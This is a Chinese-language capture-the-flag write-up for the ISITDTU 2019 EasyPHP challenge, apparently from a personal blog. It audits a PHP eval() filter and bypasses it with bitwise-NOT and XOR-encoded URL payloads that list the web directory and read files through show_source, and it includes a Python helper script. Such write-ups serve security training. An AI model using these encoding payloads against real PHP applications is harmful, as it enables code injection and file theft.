[ISITDTU 2019]EasyPHP 题解


题目直接给出了源码,进行审计

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

审计后发现我们上传的参数被过滤两次后,进入eval函数被执行。第一个if过滤比较严格

if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )

放到regex101解读下

过滤的东西太多,不过没关系,老样子,尝试URL编码取反绕过

?_=(~%8F%97%8F%96%91%99%90)();

成功回显出phpinfo页面

现在我们可以成功绕过第一个if的过滤,接下来看第二个if

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )

这行代码用于判断字符串(先转为小写)中不同的字符数是否大于13,这有些棘手,看来并不是一个简单的取反绕过就能解决的。

先来仔细看看phpinfo的disable_functions

好家伙,跟执行命令沾边的函数都被一锅端了;再看下open_basedir,也被限制在了/var/www/html/

不过文件读取命令倒是没有被禁,如show_source、readfile、highlight_file等,既然无法执行系统命令读取,那么我们就通过php自带的函数来读取flag

构造下payload

//?_=show_source(/flag);
?_=(~%8c%97%90%88%a0%8c%90%8a%8d%9c%9a)((~%d0%99%93%9e%98));

传参过去发现显示you are so close, omg,说明我们不同的字符数超过13了

考虑不同字符数的优化:我们可以通过将被允许字符之间多次异或来构造所需字符。刚才不是说取反吗,怎么这里变成异或了?位运算性质:a^1==~a

下面直接放一个大佬wp里的脚本

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # to be deleted
temp = []
for d in result2:
    for a in result:
        for b in result:
            for c in result:
                if (a ^ b ^ c == d):
                    if a == b == c == d:
                        continue
                    else:
                        print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
print(len(temp), temp)

由于flag并不在/flag这个路径,我们可以先查看当前目录下有哪些文件

//?_=print_r(scandir(.));
?_=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

发现存在一个n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt文件,尝试读取

//?_=show_source(end(scandir(.)));
?_=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

出flag

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [ISITDTU 2019]EasyPHP 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.